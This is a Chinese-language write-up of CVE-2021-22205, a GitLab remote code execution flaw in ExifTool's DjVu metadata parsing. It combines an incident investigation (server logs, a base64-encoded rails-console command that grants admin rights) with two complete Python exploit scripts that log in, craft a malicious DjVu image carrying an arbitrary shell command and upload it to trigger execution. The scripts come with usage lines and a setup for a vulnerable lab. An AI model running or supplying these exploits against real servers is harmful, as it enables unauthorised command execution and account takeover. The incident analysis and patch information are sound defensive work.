目录导航
CVE-2021-22205漏洞描述
在 GitLab CE/EE 中发现了一个影响从 11.9 开始的所有版本的问题。GitLab 没有正确验证传递给文件解析器的图像文件,这导致远程命令执行。
GitLab介绍
GitLab 是由GitLab Inc.开发的一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,可通过Web界面访问公开或私人项目。
受影响版本
- 11.9 <= Gitlab CE/EE < 13.8.8
- 13.9 <= Gitlab CE/EE < 13.9.6
- 13.10 <= Gitlab CE/EE < 13.10.3
漏洞分析
几个月前,我们的一位客户在其暴露在 Internet 上的GitLab CE 服务器上发现了两个具有管理员权限的可疑用户帐户,并要求我们调查这似乎是一起安全事件。这是我们发现的:
1) 2021 年 6 月至 7 月期间,两个用户注册了看似随机的用户名。
这是可能的,因为此版本的 GitLab CE 默认允许用户注册。此外,默认情况下不会验证在注册阶段指定的电子邮件地址,因此新创建的用户会自动登录,无需任何其他步骤。此外,不会向管理员发送通知。

2)几天后,攻击者以两个新创建的用户身份登录GitLab服务器,显然没有执行任何其他操作。
因此我们决定调查攻击者如何将他们的权限提升为管理员权限。幸运的是,日志已备份,因此我们可以在以下日志文件中找到漏洞利用步骤的第一个痕迹:
/var/log/gitlab/nginx/gitlab-access.log
/var/log/gitlab/nginx/access.log
攻击者执行的操作如下:
a) 用户注册和登录:
"GET /users/sign_up HTTP/1.1" 302 122 "" "python-requests/2.25.1"
"GET /users/sign_in HTTP/1.1" 200 4042 "" "python-requests/2.25.1"
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1"
"POST /users HTTP/1.1" 302 113 "" "python-requests/2.25.1"
"GET /dashboard/projects HTTP/1.1" 200 8185 "" "python-requests/2.25.1"
"GET /users/sign_in HTTP/1.1" 200 4043 "" "python-requests/2.25.1"
"POST /users/sign_in HTTP/1.1" 302 95 "" "python-requests/2.25.1"
"GET / HTTP/1.1" 200 8068 "" "python-requests/2.25.1"
b) 滥用 GitLab API 列出所有项目(包括私有项目):
"GET /api/v4/projects/?simple=yes&private=true&per_page=1000&page=1 HTTP/1.1" 200 2760 "" "python-requests/2.25.1"
c) 为列表中的第一个项目打开一个问题,然后上传此问题的附件:
"GET /user/project HTTP/1.1" 200 13567 "" "python-requests/2.25.1"
"GET /user/project/issues/new HTTP/1.1" 200 10317 "" "python-requests/2.25.1"
"POST /user/project/uploads HTTP/1.1" 422 24 "https://git.victim/user/project/issues/new" "python-requests/2.25.1"
就是这样,攻击者没有采取其他行动。
附件上传引起了我们的注意,因此我们在实验室中设置了 GitLab 服务器,试图复制我们在野外看到的内容。同时,我们注意到最近发布的CVE-2021-22205漏洞利用上传功能来远程执行任意操作系统命令。该漏洞驻留在ExifTool,用于从图像中移除元数据的开源工具,从而未能在解析嵌入式上传的图像中的某些元数据,从而导致代码执行所描述这里。
Gitlab-Exiftool-RCE
针对 Gitlab < 13.10.3 的 RCE 漏洞利用
- GitLab Workhorse 会将任何文件传递给 ExifTool。当前的错误在 ExifTool 的 DjVu 模块中。
- 任何能够通过 GitLab Workhorse 上传图像的人都可以通过特制的文件实现 RCE
用法
python3 exploit.py -u root -p root -c "command here" -t http://gitlab.example.com
环境
- 在 Gitlab 13.10.2 社区版上测试
- 构建自己的测试环境:
export GITLAB_HOME=/srv/gitlab
sudo docker run --detach \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 \
--name gitlab \
--restart always \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
gitlab/gitlab-ce:13.10.2-ce.0
exploit.py
import requests
from bs4 import BeautifulSoup
import random
import os
import argparse
parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-u', help='Username', required=True)
parser.add_argument('-p', help='Password', required=True)
parser.add_argument('-c', help='Command', required=True)
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)
args = parser.parse_args()
username = args.u
password = args.p
gitlab_url = args.t
command = args.c
session = requests.Session()
# Authenticating
print("[1] Authenticating")
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
login_form = {
"authenticity_token": token,
"user[login]": username,
"user[password]": password,
"user[remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)
if r.status_code != 200:
exit(f"Login Failed:{r.text}")
else:
print("Successfully Authenticated")
# payload creation
print("[2] Creating Payload ")
payload = f"\" . qx{{{command}}} . \\\n"
f1 = open("/tmp/exploit","w")
f1.write('(metadata\n')
f1.write(' (Copyright "\\\n')
f1.write(payload)
f1.write('" b ") )')
f1.close()
# Checking if djvumake is installed
check = os.popen('which djvumake').read()
if (check == ""):
exit("djvumake not installed. Install by running command : sudo apt install djvulibre-bin")
# Building the payload
os.system('djvumake /tmp/exploit.jpg INFO=0,0 BGjp=/dev/null ANTa=/tmp/exploit')
# Uploading it
print("[3] Creating Snippet and Uploading")
# Getting the CSRF token
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
csrf = soup.findAll('meta')[16].get("content")
cookies = {'_gitlab_session': session.cookies['_gitlab_session']}
headers = {
'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
'Accept': 'application/json',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Referer': f'{gitlab_url}/projects',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
'X-Requested-With': 'XMLHttpRequest',
'X-CSRF-Token': f'{csrf}'
}
files = {'file': ('exploit.jpg', open('/tmp/exploit.jpg', 'rb'), 'image/jpeg', {'Expires': '0'})}
r = session.post(gitlab_url+'/uploads/user', files=files, cookies=cookies, headers=headers, verify=False)
if r.text != "Failed to process image\n":
exit("[-] Exploit failed")
else:
print("[+] RCE Triggered !!")
GitLab 由许多组件(Redis、Nginx 等)组成。处理上传的称为gitlab-workhorse,它依次调用 ExifTool,然后将最终附件传递给 Rails,如下所示:
因此,我们对日志进行了更深入的挖掘,并在 Workhorse 日志中发现了两次上传失败的证据。然后,我们对实验室服务器运行了公开可用的漏洞利用程序,并注意到日志中的模式非常相似。
{"correlation_id":"cp1VzPnRzE4","filename":"exploit.jpg","level":"info","msg":"running exiftool to remove any metadata","time":"2021-09-20T10:30:04+02:00"}
{"command":["exiftool","-all=","--IPTC:all","--XMP-iptcExt:all","-tagsFromFile","@","-ResolutionUnit","-XResolution","-YResolution","-YCbCrSubSampling","-YCbCrPositioning","-BitsPerSample","-ImageHeight","-ImageWidth","-ImageSize","-Copyright","-CopyrightNotice","-Orientation","-"],"correlation_id":"cp1VzPnRzE4","error":"exit status 1","level":"info","msg":"exiftool command failed","stderr":"Error: Writing of this type of file is not supported - -\n","time":"2021-09-20T10:30:24+02:00"}
{"correlation_id":"cp1VzPnRzE4","error":"error while removing EXIF","level":"error","method":"POST","msg":"error","time":"2021-09-20T10:30:24+02:00","uri":"/uploads/user"}
不幸的是,ExifTools 无法保存上传的图像,因此我们无法轻松识别实际执行的payload。
公开漏洞使用的有效载荷可以执行反向 shell,而针对我们客户使用的有效载荷只是将两个先前注册用户的权限升级为 admin。攻击者可以使用什么样的有效载荷?在阅读了一些 GitLab 文档后,我们提出了以下单行代码,可用于从命令行操作用户配置文件(包括权限):
echo 'user = User.find_by(username: "czxvcxbxcvbnvcxvbxv");user.admin="true";user.save!' | gitlab-rails console
/usr/bin/echo dXNlciA9IFVzZXIuZmluZF9ieSh1c2VybmFtZTogImN6eHZjeGJ4Y3ZibnZjeHZieHYiKTt1c2VyLmFkbWluPSJ0cnVlIjt1c2VyLnNhdmUh | base64 -d | /usr/bin/gitlab-rails console
我们使用上述命令作为公开可用漏洞的有效载荷,我们成功获得了我们之前创建的两个用户的管理员权限。
看似是提权漏洞,结果却是 RCE 漏洞。
现在我们在执行此事件分析时发现了一些有趣的方面。似乎我们可以将整个利用过程归结为两个请求:在默认的 GitLab 安装(直到版本 13.10.2)上,无需滥用 API 来查找有效项目,无需打开问题,以及最重要的是无需身份验证,如下面的截图所示:


CVE-2021-22205 exp
Gitlab 版本 < 13.10.3 上的 RCE
gitlab 版本 < 13.10.3 的 RCE 漏洞利用
仅用于教育/研究目的。使用风险自负
根本原因:
- 上传图像文件时,Gitlab Workhorse 会将扩展名为 jpg|jpeg|tiff 的任何文件传递给 ExifTool,以删除任何未列入白名单的标签。
- 支持的格式之一是 DjVu。在解析 DjVu 注释时,标记被评估为“转换 C 转义序列”。
- 作者的文章:devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html
convert C escape sequences (allowed in quoted text)
$tok = eval qq{"$tok"};
用法
需要安装djvumake
和djvulibre
工作
安装 djvlibre(如果你还没有安装)
sudo apt-get install -y djvulibre-bin
运行漏洞利用
python3 exploit.py -u <username> -p <password> -t <gitlab_url> -c <command>
在 13.10.1-ce.0 版本上测试成功
exploit.py
import requests
from bs4 import BeautifulSoup
import base64
import random
import os
import argparse
parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE')
parser.add_argument('-u', help='Username', required=True)
parser.add_argument('-p', help='Password', required=True)
parser.add_argument(
'-t', help='URL (Eg: http://gitlab.example.com)', required=True)
parser.add_argument('-c', help='Command to execute', required=True)
args = parser.parse_args()
username = args.u
password = args.p
gitlab_url = args.t
command = args.c
session = requests.Session()
# Authenticating
print("[+] Authenticating")
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
login_form = {
"authenticity_token": token,
"user[login]": username,
"user[password]": password,
"user[remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)
if r.status_code != 200:
exit(f"[x] Login Failed:{r.text}")
else:
print("[+] Successfully Authenticated")
# Creating Project
print("[+] Creating Project")
r = session.get(f"{gitlab_url}/projects/new")
soup = BeautifulSoup(r.text, features="lxml")
project_token = soup.findAll('meta')[16].get("content")
project_token = project_token.replace("==", "%3D%3D")
project_token = project_token.replace("+", "%2B")
project_name = f'project{random.randrange(1, 10000)}'
cookies = {'sidebar_collapsed': 'false', 'event_filter': 'all',
'hide_auto_devops_implicitly_enabled_banner_1': 'false', "_gitlab_session": session.cookies["_gitlab_session"], }
payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=20"
r = session.post(gitlab_url+'/projects', data=payload,
cookies=cookies, verify=False)
if "The change you requested was rejected." in r.text:
exit('[x] Exploit failed, check input params')
else:
print("[+] Successfully created project")
# RCE Payload
rce_payload = f'(metadata\n\t(Copyright "\\\n" . qx{{{command}}} . \\\n" b ") )\n'.encode(
)
# Write payload to a text file
with open("rce.txt", "wb") as text_file:
text_file.write(rce_payload)
# Create a djvu file with metadata payload, and then rename it to .jpg file
os.system(
"djvumake rce.djvu INFO=0,0 BGjp=/dev/null ANTa=rce.txt && mv rce.djvu rce.jpg")
# Upload file
try:
r = session.get(f"{gitlab_url}/{username}/{project_name}/-/snippets/new", cookies=cookies)
soup = BeautifulSoup(r.text, features="lxml")
snippet_token = soup.findAll('meta')[16].get("content")
except IndexError as indexerror:
# Add check for older gitlab versions
r = session.get(f"{gitlab_url}/{username}/{project_name}/snippets/new", cookies=cookies)
soup = BeautifulSoup(r.text, features="lxml")
snippet_token = soup.findAll('meta')[16].get("content")
upload_file_url = f"{gitlab_url}/{username}/{project_name}/uploads"
cookies = {'sidebar_collapsed': 'false', 'event_filter': 'all',
'hide_auto_devops_implicitly_enabled_banner_1': 'false', "_gitlab_session": session.cookies["_gitlab_session"], }
files = {"file": ("rce.jpg", open("rce.jpg", "rb"), "image/jpeg")}
resp = session.post(
url=upload_file_url,
files=files,
headers={
"X-CSRF-Token": snippet_token,
"Referer": upload_file_url,
"Accept": "application/json"
}, cookies=cookies)
if "The change you requested was rejected." in resp.text:
exit("[x] Upload file failed")
elif "Failed to process image" in resp.text:
print("[+] RCE triggered successfully")
# Clean up
os.system("rm rce.jpg && rm rce.txt")